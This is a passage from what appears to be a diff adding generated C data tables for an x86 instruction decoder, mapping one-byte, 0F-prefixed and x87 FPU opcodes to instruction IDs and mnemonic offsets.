+ 0x40800001, + 0xc0000019, + 0xc1000001, + 0xc0000001, + 0xc0000003, + 0x41000000, + 0x40000000, + 0x40000008, + 0x40000009, + 0x41000001, + 0x43000001, + 0x40000003, + 0x48000000, + 0x200009, + 0x20000009, + 0x60020009, + 0x60000009, + 0x80090009, + 0x200b0009, + 0x20020009, + 0x80100009, + 0x21100009, + 0x87000009, + 0x20009, + 0x20000008, + 0x1000009, + 0x10020009, + 0x160009, + 0x100009, + 0x47000009, + 0x47090009, + 0x40090009, + 0x80002009, + 0xc0000009, + 0x2001, + 0x80002001, + 0x410009, + 0x20420009, + 0x20060009, + 0x120009, + 0x21020009, + 0xc7000019, + 0x20100009, + 0xc0002009, + 0x40002008, + 0xc0000000, + 0xc0002008, + 0x4020009, + 0x40100009, + 0x60120009, + 0x41000009, + 0x83000001, + 0x200001 +}; + +_InstNode Table_0F = 256; +_InstNode Table_0F_0F = 1440; +_InstNode Table_0F_38 = 1896; +_InstNode Table_0F_3A = 2152; + +_InstInfo InstInfos[1246] = { + /*II_00*/{ 0x0, 11 }, + /*II_01*/{ 0x1, 11 }, + /*II_02*/{ 0x2, 11 }, + /*II_03*/{ 0x3, 11 }, + /*II_04*/{ 0x4, 11 }, + /*II_05*/{ 0x5, 11 }, + /*II_06*/{ 0x6, 16 }, + /*II_07*/{ 0x7, 22 }, + /*II_08*/{ 0x8, 27 }, + /*II_09*/{ 0x9, 27 }, + /*II_0A*/{ 0xa, 27 }, + /*II_0B*/{ 0xb, 27 }, + /*II_0C*/{ 0xc, 27 }, + /*II_0D*/{ 0xd, 27 }, + /*II_0E*/{ 0xe, 16 }, + /*II_10*/{ 0xf, 31 }, + /*II_11*/{ 0x10, 31 }, + /*II_12*/{ 0x11, 31 }, + /*II_13*/{ 0x12, 31 }, + /*II_14*/{ 0x13, 31 }, + /*II_15*/{ 0x14, 31 }, + /*II_16*/{ 0x15, 16 }, + /*II_17*/{ 0x16, 22 }, + /*II_18*/{ 0xf, 36 }, + /*II_19*/{ 0x10, 36 }, + /*II_1A*/{ 0x11, 36 }, + /*II_1B*/{ 0x12, 36 }, + /*II_1C*/{ 0x13, 36 }, + /*II_1D*/{ 0x14, 36 }, + /*II_1E*/{ 0x17, 16 }, + /*II_1F*/{ 0x18, 22 }, + /*II_20*/{ 0x19, 41 }, + /*II_21*/{ 0x1a, 41 }, + /*II_22*/{ 0x1b, 41 }, + /*II_23*/{ 0x1c, 41 }, + /*II_24*/{ 0x1d, 41 }, + /*II_25*/{ 0x1e, 41 }, + /*II_27*/{ 0x1f, 46 }, + /*II_28*/{ 0x0, 51 }, + /*II_29*/{ 0x1, 51 }, + /*II_2A*/{ 0x2, 51 }, + /*II_2B*/{ 0x3, 51 }, + /*II_2C*/{ 0x4, 51 }, + /*II_2D*/{ 0x5, 51 }, + /*II_2F*/{ 0x1f, 56 }, + /*II_30*/{ 0x20, 61 }, + /*II_31*/{ 0x21, 61 }, + /*II_32*/{ 0x22, 61 }, + /*II_33*/{ 0x23, 61 }, + /*II_34*/{ 0x24, 61 }, + /*II_35*/{ 0x25, 61 }, + /*II_37*/{ 0x26, 66 }, + /*II_38*/{ 0x27, 71 }, + /*II_39*/{ 0x28, 71 }, + /*II_3A*/{ 0x29, 71 }, + /*II_3B*/{ 0x2a, 71 }, + /*II_3C*/{ 0x2b, 71 }, + /*II_3D*/{ 0x2c, 71 }, + /*II_3F*/{ 0x26, 76 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_40*/{ 0x2d, 81 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_48*/{ 0x2d, 86 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_50*/{ 0x2e, 16 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_58*/{ 0x2f, 22 }, + /*II_60*/{ 0x30, 91 }, + /*II_61*/{ 0x30, 98 }, + /*II_62*/{ 0x31, 104 }, + /*II_63*/{ 0x32, 111 }, + /*II_68*/{ 0x33, 16 }, + /*II_6A*/{ 0x35, 16 }, + /*II_6C*/{ 0x36, 32891 }, + /*II_6D*/{ 0x37, 32891 }, + /*II_6E*/{ 0x38, 32896 }, + /*II_6F*/{ 0x39, 32896 }, + /*II_70*/{ 0x3a, 134 }, + /*II_71*/{ 0x3a, 138 }, + /*II_72*/{ 0x3b, 143 }, + /*II_73*/{ 0x3b, 147 }, + /*II_74*/{ 0x3c, 152 }, + /*II_75*/{ 0x3c, 156 }, + /*II_76*/{ 0x3d, 161 }, + /*II_77*/{ 0x3d, 166 }, + /*II_78*/{ 0x3e, 170 }, + /*II_79*/{ 0x3e, 174 }, + /*II_7A*/{ 0x3f, 179 }, + /*II_7B*/{ 0x3f, 183 }, + /*II_7C*/{ 0x40, 188 }, + /*II_7D*/{ 0x40, 192 }, + /*II_7E*/{ 0x41, 197 }, + /*II_7F*/{ 0x41, 202 }, + /*II_84*/{ 0x42, 206 }, + /*II_85*/{ 0x43, 206 }, + /*II_86*/{ 0x44, 212 }, + /*II_87*/{ 0x45, 212 }, + /*II_88*/{ 0x46, 218 }, + /*II_89*/{ 0x47, 218 }, + /*II_8A*/{ 0x48, 218 }, + /*II_8B*/{ 0x49, 218 }, + /*II_8C*/{ 0x4a, 218 }, + /*II_8D*/{ 0x4b, 223 }, + /*II_8E*/{ 0x4c, 218 }, + /*II_90*/{ 0x4d, 212 }, + /*II_91*/{ 0x4d, 212 }, + /*II_92*/{ 0x4d, 212 }, + /*II_93*/{ 0x4d, 212 }, + /*II_94*/{ 0x4d, 212 }, + /*II_95*/{ 0x4d, 212 }, + /*II_96*/{ 0x4d, 212 }, + /*II_97*/{ 0x4d, 212 }, + /*II_9A*/{ 0x4f, 260 }, + /*II_9C*/{ 0x50, 270 }, + /*II_9D*/{ 0x51, 277 }, + /*II_9E*/{ 0x52, 283 }, + /*II_9F*/{ 0x53, 289 }, + /*II_A0*/{ 0x54, 218 }, + /*II_A1*/{ 0x55, 218 }, + /*II_A2*/{ 0x56, 218 }, + /*II_A3*/{ 0x57, 218 }, + /*II_A4*/{ 0x58, 295 }, + /*II_A5*/{ 0x59, 295 }, + /*II_A6*/{ 0x5a, 301 }, + /*II_A7*/{ 0x5b, 301 }, + /*II_A8*/{ 0x5c, 206 }, + /*II_A9*/{ 0x5d, 206 }, + /*II_AA*/{ 0x5e, 307 }, + /*II_AB*/{ 0x5f, 307 }, + /*II_AC*/{ 0x60, 313 }, + /*II_AD*/{ 0x61, 313 }, + /*II_AE*/{ 0x62, 319 }, + /*II_AF*/{ 0x63, 319 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B0*/{ 0x64, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_B8*/{ 0x65, 218 }, + /*II_C2*/{ 0x66, 325 }, + /*II_C3*/{ 0x67, 325 }, + /*II_C4*/{ 0x68, 330 }, + /*II_C5*/{ 0x68, 335 }, + /*II_C8*/{ 0x69, 340 }, + /*II_C9*/{ 0x6a, 347 }, + /*II_CA*/{ 0x6b, 354 }, + /*II_CB*/{ 0x6c, 354 }, + /*II_CC*/{ 0x6d, 360 }, + /*II_CD*/{ 0x6e, 367 }, + /*II_CE*/{ 0x6f, 372 }, + /*II_CF*/{ 0x70, 33146 }, + /*II_D4*/{ 0x71, 384 }, + /*II_D5*/{ 0x71, 389 }, + /*II_D6*/{ 0x72, 394 }, + /*II_D7*/{ 0x73, 400 }, + /*II_E0*/{ 0x74, 406 }, + /*II_E1*/{ 0x74, 414 }, + /*II_E2*/{ 0x75, 421 }, + /*II_E4*/{ 0x77, 33215 }, + /*II_E5*/{ 0x78, 33215 }, + /*II_E6*/{ 0x79, 33219 }, + /*II_E7*/{ 0x7a, 33219 }, + /*II_E8*/{ 0x7b, 456 }, + /*II_E9*/{ 0x7c, 462 }, + /*II_EA*/{ 0x7d, 467 }, + /*II_EB*/{ 0x7e, 462 }, + /*II_EC*/{ 0x7f, 33215 }, + /*II_ED*/{ 0x80, 33215 }, + /*II_EE*/{ 0x81, 33219 }, + /*II_EF*/{ 0x82, 33219 }, + /*II_F1*/{ 0x6d, 476 }, + /*II_F4*/{ 0x53, 33250 }, + /*II_F5*/{ 0x83, 487 }, + /*II_F8*/{ 0x83, 492 }, + /*II_F9*/{ 0x83, 497 }, + /*II_FA*/{ 0x84, 33270 }, + /*II_FB*/{ 0x84, 33275 }, + /*II_FC*/{ 0x85, 512 }, + /*II_FD*/{ 0x85, 517 }, + /*II_0F_02*/{ 0x86, 522 }, + /*II_0F_03*/{ 0x86, 527 }, + /*II_0F_05*/{ 0x87, 532 }, + /*II_0F_06*/{ 0x88, 33309 }, + /*II_0F_07*/{ 0x87, 547 }, + /*II_0F_08*/{ 0x88, 33323 }, + /*II_0F_09*/{ 0x88, 33329 }, + /*II_0F_0B*/{ 0x89, 569 }, + /*II_0F_0E*/{ 0x8a, 574 }, + /*II_0F_1F*/{ 0x8b, 581 }, + /*II_0F_20*/{ 0x8c, 32986 }, + /*II_0F_21*/{ 0x8d, 32986 }, + /*II_0F_22*/{ 0x8e, 32986 }, + /*II_0F_23*/{ 0x8f, 32986 }, + /*II_0F_30*/{ 0x88, 33354 }, + /*II_0F_31*/{ 0x88, 33361 }, + /*II_0F_32*/{ 0x88, 33368 }, + /*II_0F_33*/{ 0x88, 33375 }, + /*II_0F_34*/{ 0x87, 614 }, + /*II_0F_35*/{ 0x87, 624 }, + /*II_0F_37*/{ 0x90, 633 }, + /*II_0F_40*/{ 0x91, 641 }, + /*II_0F_41*/{ 0x91, 648 }, + /*II_0F_42*/{ 0x92, 656 }, + /*II_0F_43*/{ 0x92, 663 }, + /*II_0F_44*/{ 0x93, 671 }, + /*II_0F_45*/{ 0x93, 678 }, + /*II_0F_46*/{ 0x94, 686 }, + /*II_0F_47*/{ 0x94, 694 }, + /*II_0F_48*/{ 0x95, 701 }, + /*II_0F_49*/{ 0x95, 708 }, + /*II_0F_4A*/{ 0x96, 716 }, + /*II_0F_4B*/{ 0x96, 723 }, + /*II_0F_4C*/{ 0x97, 731 }, + /*II_0F_4D*/{ 0x97, 738 }, + /*II_0F_4E*/{ 0x98, 746 }, + /*II_0F_4F*/{ 0x98, 754 }, + /*II_0F_80*/{ 0x99, 134 }, + /*II_0F_81*/{ 0x99, 138 }, + /*II_0F_82*/{ 0x9a, 143 }, + /*II_0F_83*/{ 0x9a, 147 }, + /*II_0F_84*/{ 0x9b, 152 }, + /*II_0F_85*/{ 0x9b, 156 }, + /*II_0F_86*/{ 0x9c, 161 }, + /*II_0F_87*/{ 0x9c, 166 }, + /*II_0F_88*/{ 0x9d, 170 }, + /*II_0F_89*/{ 0x9d, 174 }, + /*II_0F_8A*/{ 0x9e, 179 }, + /*II_0F_8B*/{ 0x9e, 183 }, + /*II_0F_8C*/{ 0x9f, 188 }, + /*II_0F_8D*/{ 0x9f, 192 }, + /*II_0F_8E*/{ 0xa0, 197 }, + /*II_0F_8F*/{ 0xa0, 202 }, + /*II_0F_90*/{ 0xa1, 761 }, + /*II_0F_91*/{ 0xa1, 767 }, + /*II_0F_92*/{ 0xa2, 774 }, + /*II_0F_93*/{ 0xa2, 780 }, + /*II_0F_94*/{ 0xa3, 787 }, + /*II_0F_95*/{ 0xa3, 793 }, + /*II_0F_96*/{ 0xa4, 800 }, + /*II_0F_97*/{ 0xa4, 807 }, + /*II_0F_98*/{ 0xa5, 813 }, + /*II_0F_99*/{ 0xa5, 819 }, + /*II_0F_9A*/{ 0xa6, 826 }, + /*II_0F_9B*/{ 0xa6, 832 }, + /*II_0F_9C*/{ 0xa7, 839 }, + /*II_0F_9D*/{ 0xa7, 845 }, + /*II_0F_9E*/{ 0xa8, 852 }, + /*II_0F_9F*/{ 0xa8, 859 }, + /*II_0F_A0*/{ 0xa9, 16 }, + /*II_0F_A1*/{ 0xaa, 22 }, + /*II_0F_A2*/{ 0x88, 865 }, + /*II_0F_A3*/{ 0xab, 872 }, + /*II_0F_A8*/{ 0xad, 16 }, + /*II_0F_A9*/{ 0xae, 22 }, + /*II_0F_AA*/{ 0xaf, 882 }, + /*II_0F_AB*/{ 0xb0, 887 }, + /*II_0F_AF*/{ 0xb1, 117 }, + /*II_0F_B0*/{ 0xb2, 898 }, + /*II_0F_B1*/{ 0xb3, 898 }, + /*II_0F_B2*/{ 0xb4, 907 }, + /*II_0F_B3*/{ 0xb0, 912 }, + /*II_0F_B4*/{ 0xb4, 917 }, + /*II_0F_B5*/{ 0xb4, 922 }, + /*II_0F_B6*/{ 0xb5, 927 }, + /*II_0F_B7*/{ 0xb6, 927 }, + /*II_0F_B9*/{ 0x89, 569 }, + /*II_0F_BB*/{ 0xb0, 934 }, + /*II_0F_BE*/{ 0xb5, 939 }, + /*II_0F_BF*/{ 0xb6, 939 }, + /*II_0F_C0*/{ 0xb2, 946 }, + /*II_0F_C1*/{ 0xb3, 946 }, + /*II_0F_C3*/{ 0xb7, 952 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_0F_C8*/{ 0xb8, 960 }, + /*II_80_00*/{ 0xb9, 11 }, + /*II_80_01*/{ 0xba, 27 }, + /*II_80_02*/{ 0xbb, 31 }, + /*II_80_03*/{ 0xbb, 36 }, + /*II_80_04*/{ 0xbc, 41 }, + /*II_80_05*/{ 0xb9, 51 }, + /*II_80_06*/{ 0xbd, 61 }, + /*II_80_07*/{ 0xbe, 71 }, + /*II_81_00*/{ 0xbf, 11 }, + /*II_81_01*/{ 0xc0, 27 }, + /*II_81_02*/{ 0xc1, 31 }, + /*II_81_03*/{ 0xc1, 36 }, + /*II_81_04*/{ 0xc2, 41 }, + /*II_81_05*/{ 0xbf, 51 }, + /*II_81_06*/{ 0xc3, 61 }, + /*II_81_07*/{ 0xc4, 71 }, + /*II_82_00*/{ 0xc5, 11 }, + /*II_82_01*/{ 0xc6, 27 }, + /*II_82_02*/{ 0xc7, 31 }, + /*II_82_03*/{ 0xc7, 36 }, + /*II_82_04*/{ 0xc8, 41 }, + /*II_82_05*/{ 0xc5, 51 }, + /*II_82_06*/{ 0xc9, 61 }, + /*II_82_07*/{ 0xca, 71 }, + /*II_83_00*/{ 0xcb, 11 }, + /*II_83_01*/{ 0xcc, 27 }, + /*II_83_02*/{ 0xcd, 31 }, + /*II_83_03*/{ 0xcd, 36 }, + /*II_83_04*/{ 0xce, 41 }, + /*II_83_05*/{ 0xcb, 51 }, + /*II_83_06*/{ 0xcf, 61 }, + /*II_83_07*/{ 0xd0, 71 }, + /*II_8F_00*/{ 0xd1, 22 }, + /*II_C0_00*/{ 0xd2, 967 }, + /*II_C0_01*/{ 0xd2, 972 }, + /*II_C0_02*/{ 0xd3, 977 }, + /*II_C0_03*/{ 0xd3, 982 }, + /*II_C0_04*/{ 0xd4, 987 }, + /*II_C0_05*/{ 0xd4, 992 }, + /*II_C0_06*/{ 0xd4, 997 }, + /*II_C0_07*/{ 0xd4, 1002 }, + /*II_C1_00*/{ 0xd5, 967 }, + /*II_C1_01*/{ 0xd5, 972 }, + /*II_C1_02*/{ 0xd6, 977 }, + /*II_C1_03*/{ 0xd6, 982 }, + /*II_C1_04*/{ 0xd7, 987 }, + /*II_C1_05*/{ 0xd7, 992 }, + /*II_C1_06*/{ 0xd7, 997 }, + /*II_C1_07*/{ 0xd7, 1002 }, + /*II_C6_00*/{ 0xd8, 218 }, + /*II_C6_F8*/{ 0xd9, 1007 }, + /*II_C7_00*/{ 0xda, 218 }, + /*II_C7_F8*/{ 0xdb, 1015 }, + /*II_D0_00*/{ 0xdc, 967 }, + /*II_D0_01*/{ 0xdc, 972 }, + /*II_D0_02*/{ 0xdd, 977 }, + /*II_D0_03*/{ 0xdd, 982 }, + /*II_D0_04*/{ 0xde, 987 }, + /*II_D0_05*/{ 0xde, 992 }, + /*II_D0_06*/{ 0xde, 997 }, + /*II_D0_07*/{ 0xde, 1002 }, + /*II_D1_00*/{ 0xdf, 967 }, + /*II_D1_01*/{ 0xdf, 972 }, + /*II_D1_02*/{ 0xe0, 977 }, + /*II_D1_03*/{ 0xe0, 982 }, + /*II_D1_04*/{ 0xe1, 987 }, + /*II_D1_05*/{ 0xe1, 992 }, + /*II_D1_06*/{ 0xe1, 997 }, + /*II_D1_07*/{ 0xe1, 1002 }, + /*II_D2_00*/{ 0xe2, 967 }, + /*II_D2_01*/{ 0xe2, 972 }, + /*II_D2_02*/{ 0xe3, 977 }, + /*II_D2_03*/{ 0xe3, 982 }, + /*II_D2_04*/{ 0xe4, 987 }, + /*II_D2_05*/{ 0xe4, 992 }, + /*II_D2_06*/{ 0xe4, 997 }, + /*II_D2_07*/{ 0xe4, 1002 }, + /*II_D3_00*/{ 0xe5, 967 }, + /*II_D3_01*/{ 0xe5, 972 }, + /*II_D3_02*/{ 0xe6, 977 }, + /*II_D3_03*/{ 0xe6, 982 }, + /*II_D3_04*/{ 0xe7, 987 }, + /*II_D3_05*/{ 0xe7, 992 }, + /*II_D3_06*/{ 0xe7, 997 }, + /*II_D3_07*/{ 0xe7, 1002 }, + /*II_D8_00*/{ 0xe8, 1023 }, + /*II_D8_01*/{ 0xe8, 1029 }, + /*II_D8_02*/{ 0xe8, 1035 }, + /*II_D8_03*/{ 0xe8, 1041 }, + /*II_D8_04*/{ 0xe8, 1048 }, + /*II_D8_05*/{ 0xe8, 1054 }, + /*II_D8_06*/{ 0xe8, 1061 }, + /*II_D8_07*/{ 0xe8, 1067 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C0*/{ 0xe9, 1023 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_C8*/{ 0xe9, 1029 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D0*/{ 0xea, 1035 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D9*/{ 0xeb, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_D8*/{ 0xea, 1041 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E0*/{ 0xe9, 1048 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_E8*/{ 0xe9, 1054 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F0*/{ 0xe9, 1061 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D8_F8*/{ 0xe9, 1067 }, + /*II_D9_00*/{ 0xe8, 1074 }, + /*II_D9_02*/{ 0xec, 1079 }, + /*II_D9_03*/{ 0xec, 1084 }, + /*II_D9_04*/{ 0xed, 1090 }, + /*II_D9_05*/{ 0xee, 1098 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C0*/{ 0xea, 1074 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C9*/{ 0xeb, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_C8*/{ 0xea, 1105 }, + /*II_D9_D0*/{ 0xeb, 1111 }, + /*II_D9_E0*/{ 0xeb, 1117 }, + /*II_D9_E1*/{ 0xeb, 1123 }, + /*II_D9_E4*/{ 0xeb, 1129 }, + /*II_D9_E5*/{ 0xeb, 1135 }, + /*II_D9_E8*/{ 0xeb, 1141 }, + /*II_D9_E9*/{ 0xeb, 1147 }, + /*II_D9_EA*/{ 0xeb, 1155 }, + /*II_D9_EB*/{ 0xeb, 1163 }, + /*II_D9_EC*/{ 0xeb, 1170 }, + /*II_D9_ED*/{ 0xeb, 1178 }, + /*II_D9_EE*/{ 0xeb, 1186 }, + /*II_D9_F0*/{ 0xeb, 1192 }, + /*II_D9_F1*/{ 0xeb, 1199 }, + /*II_D9_F2*/{ 0xeb, 1206 }, + /*II_D9_F3*/{ 0xeb, 1213 }, + /*II_D9_F4*/{ 0xeb, 1221 }, + /*II_D9_F5*/{ 0xeb, 1230 }, + /*II_D9_F6*/{ 0xeb, 1238 }, + /*II_D9_F7*/{ 0xeb, 1247 }, + /*II_D9_F8*/{ 0xeb, 1256 }, + /*II_D9_F9*/{ 0xeb, 1263 }, + /*II_D9_FA*/{ 0xeb, 1272 }, + /*II_D9_FB*/{ 0xeb, 1279 }, + /*II_D9_FC*/{ 0xeb, 1288 }, + /*II_D9_FD*/{ 0xeb, 1297 }, + /*II_D9_FE*/{ 0xeb, 1305 }, + /*II_D9_FF*/{ 0xeb, 1311 }, + /*II_DA_00*/{ 0xe8, 1317 }, + /*II_DA_01*/{ 0xe8, 1324 }, + /*II_DA_02*/{ 0xe8, 1331 }, + /*II_DA_03*/{ 0xe8, 1338 }, + /*II_DA_04*/{ 0xe8, 1346 }, + /*II_DA_05*/{ 0xe8, 1353 }, + /*II_DA_06*/{ 0xe8, 1361 }, + /*II_DA_07*/{ 0xe8, 1368 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C0*/{ 0xef, 1376 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_C8*/{ 0xf0, 1384 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D0*/{ 0xf1, 1392 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_D8*/{ 0xf2, 1401 }, + /*II_DA_E9*/{ 0xeb, 1409 }, + /*II_DB_00*/{ 0xe8, 1418 }, + /*II_DB_01*/{ 0xf3, 1424 }, + /*II_DB_02*/{ 0xec, 1432 }, + /*II_DB_03*/{ 0xec, 1438 }, + /*II_DB_05*/{ 0xf4, 1074 }, + /*II_DB_07*/{ 0xf5, 1084 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C0*/{ 0xef, 1445 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_C8*/{ 0xf0, 1454 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D0*/{ 0xf1, 1463 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_D8*/{ 0xf2, 1473 }, + /*II_DB_E0*/{ 0xeb, 1482 }, + /*II_DB_E1*/{ 0xeb, 1488 }, + /*II_DB_E4*/{ 0xeb, 1496 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_E8*/{ 0xf6, 1504 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + /*II_DB_F0*/{ 0xf7, 1512 }, + 